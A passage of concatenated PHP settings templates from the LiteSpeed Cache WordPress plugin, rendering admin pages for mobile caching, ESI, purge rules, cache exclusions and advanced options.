			<?php $option_id = Base::O_DB_OPTM_REVISIONS_AGE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> <?php esc_html_e( 'Day(s)', 'litespeed-cache' ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Revisions newer than this many days will be kept when cleaning revisions.', 'litespeed-cache' ); ?>
				<?php $this->_validate_ttl( $option_id, 1, 600, true ); ?>
			</div>
		</td>
	</tr>

</tbody></table>

<?php
$this->form_end();
?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.cache_mobile.tpl.php000064400000005351151031165260024526 0ustar00<?php
/**
 * LiteSpeed Cache Mobile View Settings
 *
 * Displays the mobile view cache settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th scope="row">
		<?php $cid = Base::O_CACHE_MOBILE; ?>
		<?php $this->title( $cid ); ?>
	</th>
	<td>
		<?php $this->build_switch( $cid ); ?>
		<div class="litespeed-desc">
			<?php esc_html_e( 'Serve a separate cache copy for mobile visitors.', 'litespeed-cache' ); ?>
			<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#cache-mobile', esc_html__( 'Learn more about when this is needed', 'litespeed-cache' ) ); ?>
			<br /><?php Doc::notice_htaccess(); ?>
			<br /><?php Doc::crawler_affected(); ?>
		</div>
	</td>
</tr>

<tr>
	<th scope="row" class="litespeed-padding-left">
		<?php $cid = Base::O_CACHE_MOBILE_RULES; ?>
		<?php $this->title( $cid ); ?>
	</th>
	<td>
		<?php
		if ( $this->conf( Base::O_CACHE_MOBILE ) ) {
			if ( defined( 'LITESPEED_ON' ) ) {
				try {
					$mobile_agents = Htaccess::cls()->current_mobile_agents();
					if ( Utility::arr2regex( $this->conf( $cid ), true ) !== $mobile_agents ) {
						?>
						<div class="litespeed-callout notice notice-error inline">
							<p>
								<?php esc_html_e( 'Htaccess did not match configuration option.', 'litespeed-cache' ); ?>
								<?php
								printf(
									/* translators: %s: Current mobile agents in htaccess */
									esc_html__( 'Htaccess rule is: %s', 'litespeed-cache' ),
									'<code>' . esc_html( $mobile_agents ) . '</code>'
								);
								?>
							</p>
						</div>
						<?php
					}
				} catch ( \Exception $e ) {
					?>
					<div class="litespeed-callout notice notice-error inline">
						<p><?php echo wp_kses_post( $e->getMessage() ); ?></p>
					</div>
					<?php
				}
			}
		}
		?>

		<div class="litespeed-textarea-recommended">
			<div>
				<?php $this->build_textarea( $cid, 40 ); ?>
			</div>
			<div>
				<?php $this->recommended( $cid ); ?>
			</div>
		</div>

		<div class="litespeed-desc">
			<?php Doc::one_per_line(); ?>
			<?php $this->_validate_syntax( $cid ); ?>

			<?php if ( $this->conf( Base::O_CACHE_MOBILE ) && ! $this->conf( $cid ) ) : ?>
				<span class="litespeed-warning">
					❌
					<?php
					printf(
						/* translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile User Agents label */
						esc_html__( 'If %1$s is %2$s, then %3$s must be populated!', 'litespeed-cache' ),
						'<code>' . esc_html__( 'Cache Mobile', 'litespeed-cache' ) . '</code>',
						'<code>' . esc_html__( 'ON', 'litespeed-cache' ) . '</code>',
						'<code>' . esc_html__( 'List of Mobile User Agents', 'litespeed-cache' ) . '</code>'
					);
					?>
				</span>
			<?php endif; ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-esi.tpl.php000064400000013463151031165260022065 0ustar00<?php
/**
 * LiteSpeed Cache ESI Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php echo esc_html__( 'ESI Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#esi-tab' ); ?>
</h3>

<div class="litespeed-description">
	<p><?php echo esc_html__( 'With ESI (Edge Side Includes), pages may be served from cache for logged-in users.', 'litespeed-cache' ); ?></p>
	<p><?php echo esc_html__( 'ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.', 'litespeed-cache' ); ?>
		<?php Doc::learn_more( 'https://blog.litespeedtech.com/2017/08/30/wpw-private-cache-vs-public-cache/', esc_html__( 'WpW: Private Cache vs. Public Cache', 'litespeed-cache' ) ); ?>
	</p>
	<p>
		💡:
		<?php echo esc_html__( 'You can turn shortcodes into ESI blocks.', 'litespeed-cache' ); ?>
		<?php
		printf(
			esc_html__( 'Replace %1$s with %2$s.', 'litespeed-cache' ),
			'<code>[shortcodeA att1="val1" att2="val2"]</code>',
			'<code>[esi shortcodeA att1="val1" att2="val2"]</code>'
		);
		?>
		<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#turning-wordpress-shortcodes-into-esi-blocks' ); ?>
	</p>
	<p>
		<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/api/#generate-esi-block-url', esc_html__( 'ESI sample for developers', 'litespeed-cache' ) ); ?>
	</p>
</div>

<div class="litespeed-relative">

<?php if ( ! LSWCP_ESI_SUPPORT && ! $this->conf( Base::O_CDN_QUIC ) ) : ?>
	<div class="litespeed-callout-danger">
		<h4><?php echo esc_html__( 'WARNING', 'litespeed-cache' ); ?></h4>
		<h4><?php echo esc_html__( 'These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.', 'litespeed-cache' ); ?></h4>
	</div>
<?php endif; ?>

<table class="wp-list-table striped litespeed-table"><tbody>
	<tr>
		<th>
			<?php $option_id = Base::O_ESI; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_ESI_CACHE_ADMBAR; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Cache the built-in Admin Bar ESI block.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_ESI_CACHE_COMMFORM; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'Cache the built-in Comment Form ESI block.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_ESI_NONCE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div>
				<?php $this->build_textarea( $option_id ); ?>
			</div>
			<p class="litespeed-desc">
				<?php echo esc_html__( 'The list will be merged with the predefined nonces in your local data file.', 'litespeed-cache' ); ?>
				<?php echo esc_html__( 'The latest data file is', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/master/data/esi.nonces.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/master/data/esi.nonces.txt</a>
				<br><span class="litespeed-success">
					<?php echo esc_html__( 'API', 'litespeed-cache' ); ?>:
					<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_esi_nonces</code>' ); ?>
				</span>
			</p>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'The above nonces will be converted to ESI automatically.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
				<br><?php echo esc_html__( 'An optional second parameter may be used to specify cache control. Use a space to separate', 'litespeed-cache' ); ?>: <code>my_nonce_action private</code>
			</div>
			<div class="litespeed-desc">
				<?php printf( esc_html__( 'Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.', 'litespeed-cache' ), '<code>*</code>', '<code>nonce_formid_1</code>', '<code>nonce_formid_3</code>', '<code>nonce_formid_*</code>' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_CACHE_VARY_GROUP; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<table class="litespeed-vary-table wp-list-table striped litespeed-table form-table"><tbody>
			<?php foreach ( $roles as $curr_role => $curr_title ) : ?>
				<tr>
					<td class="litespeed-vary-title"><?php echo esc_html( $curr_title ); ?></td>
					<td class="litespeed-vary-val">
					<?php
						$this->build_input(
							$option_id . '[' . $curr_role . ']',
							'litespeed-input-short',
							$this->cls( 'Vary' )->in_vary_group( $curr_role )
						);
					?>
					</td>
				</tr>
			<?php endforeach; ?>
			</tbody></table>
			<div class="litespeed-desc">
				<?php echo esc_html__( 'If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

</tbody></table>

</div>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-purge.tpl.php000064400000014566151031165260022434 0ustar00<?php
/**
 * LiteSpeed Cache Purge Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Purge Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#purge-tab' ); ?>
</h3>

<?php
$option_list = array(
	Base::O_PURGE_POST_ALL                     => esc_html__( 'All pages', 'litespeed-cache' ),
	Base::O_PURGE_POST_FRONTPAGE               => esc_html__( 'Front page', 'litespeed-cache' ),
	Base::O_PURGE_POST_HOMEPAGE                => esc_html__( 'Home page', 'litespeed-cache' ),
	Base::O_PURGE_POST_PAGES                   => esc_html__( 'Pages', 'litespeed-cache' ),
	Base::O_PURGE_POST_PAGES_WITH_RECENT_POSTS => esc_html__( 'All pages with Recent Posts Widget', 'litespeed-cache' ),
	Base::O_PURGE_POST_AUTHOR                  => esc_html__( 'Author archive', 'litespeed-cache' ),
	Base::O_PURGE_POST_POSTTYPE                => esc_html__( 'Post type archive', 'litespeed-cache' ),
	Base::O_PURGE_POST_YEAR                    => esc_html__( 'Yearly archive', 'litespeed-cache' ),
	Base::O_PURGE_POST_MONTH                   => esc_html__( 'Monthly archive', 'litespeed-cache' ),
	Base::O_PURGE_POST_DATE                    => esc_html__( 'Daily archive', 'litespeed-cache' ),
	Base::O_PURGE_POST_TERM                    => esc_html__( 'Term archive (include category, tag, and tax)', 'litespeed-cache' ),
);

// break line at these ids
$break_arr = array(
	Base::O_PURGE_POST_PAGES,
	Base::O_PURGE_POST_PAGES_WITH_RECENT_POSTS,
	Base::O_PURGE_POST_POSTTYPE,
	Base::O_PURGE_POST_DATE,
);
?>

<table class="wp-list-table striped litespeed-table"><tbody>

	<?php if ( ! $this->_is_multisite ) : ?>
		<?php require LSCWP_DIR . 'tpl/cache/settings_inc.purge_on_upgrade.tpl.php'; ?>
	<?php endif; ?>

	<tr>
		<th><?php esc_html_e( 'Auto Purge Rules For Publish/Update', 'litespeed-cache' ); ?></th>
		<td>
			<div class="litespeed-callout notice notice-warning inline">
				<h4><?php esc_html_e( 'Note', 'litespeed-cache' ); ?></h4>
				<p>
					<?php esc_html_e( 'Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.', 'litespeed-cache' ); ?><br>
					<?php esc_html_e( 'Other checkboxes will be ignored.', 'litespeed-cache' ); ?><br>
					<?php esc_html_e( 'Select only the archive types that are currently used, the others can be left unchecked.', 'litespeed-cache' ); ?>
				</p>
			</div>
			<div class="litespeed-top20">
				<div class="litespeed-tick-wrapper">
					<?php
					foreach ( $option_list as $option_id => $cur_title ) {
						$this->build_checkbox( $option_id, $cur_title );
						if ( in_array( $option_id, $break_arr, true ) ) {
							echo '</div><div class="litespeed-tick-wrapper litespeed-top10">';
						}
					}
					?>
				</div>
			</div>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Select which pages will be automatically purged when posts are published/updated.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_PURGE_STALE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.', 'litespeed-cache' ); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#serve-stale' ); ?>
			</div>
			<div class="litespeed-callout notice notice-warning inline">
				<h4><?php esc_html_e( 'Note', 'litespeed-cache' ); ?></h4>
				<p>
					<?php esc_html_e( 'By design, this option may serve stale content. Do not enable this option, if that is not OK with you.', 'litespeed-cache' ); ?><br>
				</p>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_PURGE_TIMED_URLS; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id, 80 ); ?>
			<div class="litespeed-desc">
				<?php printf( esc_html__( 'The URLs here (one per line) will be purged automatically at the time set in the option "%s".', 'litespeed-cache' ), esc_html__( 'Scheduled Purge Time', 'litespeed-cache' ) ); ?><br>
				<?php printf( esc_html__( 'Both %1$s and %2$s are acceptable.', 'litespeed-cache' ), '<code>http://www.example.com/path/url.php</code>', '<code>/path/url.php</code>' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
			<div class="litespeed-desc">
				<?php printf( esc_html__( 'Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.', 'litespeed-cache' ), '<code>*</code>', '<code>/path/u-1.html</code>', '<code>/path/u-2.html</code>', '<code>/path/u-*.html</code>' ); ?>
			</div>
			<div class="litespeed-callout notice notice-warning inline">
				<h4><?php esc_html_e( 'Note', 'litespeed-cache' ); ?></h4>
				<p>
					<?php esc_html_e( 'For URLs with wildcards, there may be a delay in initiating scheduled purge.', 'litespeed-cache' ); ?><br>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#scheduled-purge-urls' ); ?>
				</p>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_PURGE_TIMED_URLS_TIME; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id, null, null, 'time' ); ?>
			<div class="litespeed-desc">
				<?php printf( esc_html__( 'Specify the time to purge the "%s" list.', 'litespeed-cache' ), esc_html__( 'Scheduled Purge URLs', 'litespeed-cache' ) ); ?>
				<?php printf( esc_html__( 'Current server time is %s.', 'litespeed-cache' ), '<code>' . esc_html( gmdate( 'H:i:s', time() + LITESPEED_TIME_OFFSET ) ) . '</code>' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_PURGE_HOOK_ALL; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id, 50 ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</div>
			<div class="litespeed-desc">
				<?php esc_html_e( 'A Purge All will be executed when WordPress runs these hooks.', 'litespeed-cache' ); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#purge-all-hooks' ); ?>
			</div>
		</td>
	</tr>

</tbody></table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/entry.tpl.php000064400000007120151031165260020601 0ustar00<?php
/**
 * LiteSpeed Cache Settings
 *
 * Displays the cache settings page with tabbed navigation for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

if ( $this->_is_network_admin ) {
	$menu_list = array(
		'cache'    => __( 'Cache', 'litespeed-cache' ),
		'purge'    => __( 'Purge', 'litespeed-cache' ),
		'excludes' => __( 'Excludes', 'litespeed-cache' ),
		'object'   => __( 'Object', 'litespeed-cache' ),
		'browser'  => __( 'Browser', 'litespeed-cache' ),
		'advanced' => __( 'Advanced', 'litespeed-cache' ),
	);
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Network Cache Settings', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		<?php echo esc_html( 'v' . Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>
	<div class="litespeed-body">
		<?php $this->cache_disabled_warning(); ?>

		<?php
		$this->form_action( Router::ACTION_SAVE_SETTINGS_NETWORK );

		foreach ( $menu_list as $k => $val ) {
			$k_escaped = esc_attr( $k );
			?>
			<div data-litespeed-layout="<?php echo esc_html( $k_escaped ); ?>">
			<?php
			require LSCWP_DIR . "tpl/cache/network_settings-$k.tpl.php";
			?>
			</div>
			<?php
		}

		$this->form_end();
		?>
	</div>
</div>
<?php
	return;
}

$menu_list = array(
	'cache'    => __( 'Cache', 'litespeed-cache' ),
	'ttl'      => __( 'TTL', 'litespeed-cache' ),
	'purge'    => __( 'Purge', 'litespeed-cache' ),
	'excludes' => __( 'Excludes', 'litespeed-cache' ),
	'esi'      => __( 'ESI', 'litespeed-cache' ),
);

if ( ! $this->_is_multisite ) {
	$menu_list['object']  = __( 'Object', 'litespeed-cache' );
	$menu_list['browser'] = __( 'Browser', 'litespeed-cache' );
}

$menu_list['advanced'] = __( 'Advanced', 'litespeed-cache' );

/**
 * Generate roles for setting usage
 *
 * @since 1.6.2
 */
global $wp_roles;
$wp_orig_roles = $wp_roles;
if ( ! isset( $wp_roles ) ) {
	$wp_orig_roles = new \WP_Roles();
}

$roles = array();
foreach ( $wp_orig_roles->roles as $k => $v ) {
	$roles[ $k ] = $v['name'];
}
ksort( $roles );
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Settings', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		<?php echo esc_html( 'v' . Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>
<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php
		$i             = 1;
		$accesskey_set = array();
		foreach ( $menu_list as $k => $val ) {
			$accesskey = '';
			if ( $i <= 9 ) {
				$accesskey = $i;
			} else {
				$tmp = strtoupper( substr( $k, 0, 1 ) );
				if ( ! in_array( $tmp, $accesskey_set, true ) ) {
					$accesskey_set[] = $tmp;
					$accesskey       = esc_attr( $tmp );
				}
			}
			printf('<a class="litespeed-tab nav-tab" href="#%1$s" data-litespeed-tab="%1$s" litespeed-accesskey="%2$s">%3$s</a>', esc_attr( $k ), esc_attr($accesskey), esc_html( $val ));
			++$i;
		}
		do_action( 'litespeed_settings_tab', 'cache' );
		?>
	</h2>

	<div class="litespeed-body">
		<?php $this->cache_disabled_warning(); ?>

		<?php
		$this->form_action();

		require LSCWP_DIR . 'tpl/inc/check_if_network_disable_all.php';
		require LSCWP_DIR . 'tpl/cache/more_settings_tip.tpl.php';

		foreach ( $menu_list as $k => $val ) {
			echo '<div data-litespeed-layout="' . esc_attr( $k ) . '">';
			require LSCWP_DIR . "tpl/cache/settings-$k.tpl.php";
			echo '</div>';
		}

		do_action( 'litespeed_settings_content', 'cache' );

		$this->form_end();
		?>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings_inc.purge_on_upgrade.tpl.php000064400000001175151031165260025461 0ustar00<?php
/**
 * LiteSpeed Cache Purge on Upgrade Setting
 *
 * Displays the purge on upgrade setting for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<!-- build_setting_purge_on_upgrade -->
<tr>
	<th scope="row">
		<?php $option_id = Base::O_PURGE_ON_UPGRADE; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_switch( $option_id ); ?>
		<div class="litespeed-desc">
			<?php esc_html_e( 'When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.', 'litespeed-cache' ); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-browser.tpl.php000064400000000322151031165260022756 0ustar00<?php
/**
 * LiteSpeed Cache Browser Cache Setting
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

require LSCWP_DIR . 'tpl/cache/settings_inc.browser.tpl.php';
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-excludes.tpl.php000064400000001272151031165260024665 0ustar00<?php
/**
 * LiteSpeed Cache Network Exclude Settings
 *
 * Displays the network exclude settings section for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Exclude Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#excludes-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<?php
		// Cookie
		require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_cookies.tpl.php';

		// User Agent
		require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_useragent.tpl.php';
		?>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/network_settings-browser.tpl.php000064400000000425151031165260024533 0ustar00<?php
/**
 * LiteSpeed Cache Browser Settings
 *
 * Includes the browser cache settings template for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

require LSCWP_DIR . 'tpl/cache/settings_inc.browser.tpl.php';
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-excludes.tpl.php000064400000011463151031165260023117 0ustar00<?php
/**
 * LiteSpeed Cache Exclude Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php echo esc_html__( 'Exclude Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#excludes-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php echo esc_html__( 'Paths containing these strings will not be cached.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
					<br><?php echo esc_html__( 'Predefined list will also be combined w/ the above settings', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/cache_nocacheable.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/cache_nocacheable.txt</a>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_EXC_QS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php echo esc_html__( 'Query strings containing these parameters will not be cached.', 'litespeed-cache' ); ?>
					<?php printf( esc_html__( 'For example, for %1$s, %2$s and %3$s can be used here.', 'litespeed-cache' ), '<code>?aa=bb&cc=dd</code>', '<code>aa</code>', '<code>cc</code>' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_EXC_CAT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php
				$excludes_buf = '';
				if ( $this->conf( $option_id ) ) {
					$excludes_buf = implode( "\n", array_map( 'get_cat_name', $this->conf( $option_id ) ) );
				}
				$this->build_textarea( $option_id, false, $excludes_buf );
				?>
				<div class="litespeed-desc">
					<b><?php echo esc_html__( 'All categories are cached by default.', 'litespeed-cache' ); ?></b>
					<?php printf( esc_html__( 'To prevent %s from being cached, enter them here.', 'litespeed-cache' ), esc_html__( 'categories', 'litespeed-cache' ) ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
				<div class="litespeed-callout notice notice-warning inline">
					<h4><?php echo esc_html__( 'NOTE', 'litespeed-cache' ); ?>:</h4>
					<ol>
						<li><?php echo esc_html__( 'If the category name is not found, the category will be removed from the list on save.', 'litespeed-cache' ); ?></li>
					</ol>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_EXC_TAG; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php
				$excludes_buf = '';
				if ( $this->conf( $option_id ) ) {
					$tag_names = array();
					foreach ( array_map( 'get_tag', $this->conf( $option_id ) ) as $curr_tag ) {
						$tag_names[] = $curr_tag->name;
					}
					if ( ! empty( $tag_names ) ) {
						$excludes_buf = implode( "\n", $tag_names );
					}
				}
				$this->build_textarea( $option_id, false, $excludes_buf );
				?>
				<div class="litespeed-desc">
					<b><?php echo esc_html__( 'All tags are cached by default.', 'litespeed-cache' ); ?></b>
					<?php printf( esc_html__( 'To prevent %s from being cached, enter them here.', 'litespeed-cache' ), esc_html__( 'tags', 'litespeed-cache' ) ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
				<div class="litespeed-callout notice notice-warning inline">
					<h4><?php echo esc_html__( 'NOTE', 'litespeed-cache' ); ?>:</h4>
					<ol>
						<li><?php echo esc_html__( 'If the tag slug is not found, the tag will be removed from the list on save.', 'litespeed-cache' ); ?></li>
						<li>
						<?php
						printf(
							esc_html__( 'To exclude %1$s, insert %2$s.', 'litespeed-cache' ),
							'<code>http://www.example.com/tag/category/tag-slug/</code>',
							'<code>tag-slug</code>'
						);
						?>
						</li>
					</ol>
				</div>
			</td>
		</tr>

		<?php
		if ( ! $this->_is_multisite ) :
			require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_cookies.tpl.php';
			require LSCWP_DIR . 'tpl/cache/settings_inc.exclude_useragent.tpl.php';
		endif;
		?>

		<tr>
			<th>
				<?php $option_id = Base::O_CACHE_EXC_ROLES; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-desc">
					<?php echo esc_html__( 'Selected roles will be excluded from cache.', 'litespeed-cache' ); ?>
				</div>
				<div class="litespeed-tick-list">
					<?php foreach ( $roles as $curr_role => $curr_title ) : ?>
						<?php $this->build_checkbox( $option_id . '[]', esc_html( $curr_title ), Control::cls()->in_cache_exc_roles( $curr_role ), $curr_role ); ?>
					<?php endforeach; ?>
				</div>
			</td>
		</tr>

	</tbody>
</table>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cache/settings-advanced.tpl.php000064400000005065151031165260023051 0ustar00<?php
/**
 * Advanced Settings Template
 *
 * @package     LiteSpeed
 * @since       1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Advanced Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( esc_url( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#advanced-tab' ) ); ?>
</h3>

<div class="litespeed-callout notice notice-warning inline">
	<h4><?php esc_html_e( 'NOTICE:', 'litespeed-cache' ); ?></h4>
	<p><?php esc_html_e( 'These settings are meant for ADVANCED USERS ONLY.', 'litespeed-cache' ); ?></p>
</div>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th scope="row">
				<?php $option_id = Base::O_CACHE_AJAX_TTL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-textarea-recommended">
					<div>
						<?php $this->build_textarea( $option_id, 60 ); ?>
					</div>
				</div>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<?php if ( ! $this->_is_multisite ) : ?>
			<?php require LSCWP_DIR . 'tpl/cache/settings_inc.login_cookie.tpl.php'; ?>
		<?php endif; ?>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_UTIL_NO_HTTPS_VARY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( esc_url( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#improve-httphttps-compatibility' ) ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th scope="row">
				<?php $option_id = Base::O_UTIL_INSTANT_CLICK; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.', 'litespeed-cache' ); ?>
